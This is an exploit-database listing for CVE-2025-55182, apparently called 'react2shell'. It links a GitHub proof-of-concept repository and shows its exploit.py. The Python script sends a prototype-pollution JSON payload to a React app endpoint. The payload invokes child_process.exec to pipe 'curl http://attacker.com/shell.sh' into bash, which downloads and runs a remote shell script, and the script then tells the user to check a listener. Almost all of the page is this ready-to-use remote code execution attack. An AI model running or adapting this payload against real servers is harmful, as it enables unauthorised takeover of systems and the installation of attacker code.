Exploit database

GH-b41dec5f9b914a3f6604cb30cbc36ca2

george0papasotiriou/cve-2025-55182-react2shell-cvss-10.0-

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 558 bytes
import requests
import json

target = "http://vulnerable-react-app.com/api/flight"
# Craft a payload that pollutes the prototype chain to execute `child_process.exec`
payload = {
    "__proto__": {
        "shell": "node -e \"require('child_process').exec('curl http://attacker.com/shell.sh | bash')\""
    },
    "flightData": "malicious"
}
headers = {"Content-Type": "application/json"}
response = requests.post(target, data=json.dumps(payload), headers=headers)
if response.status_code == 200:
    print("[+] RCE payload delivered. Check your listener.")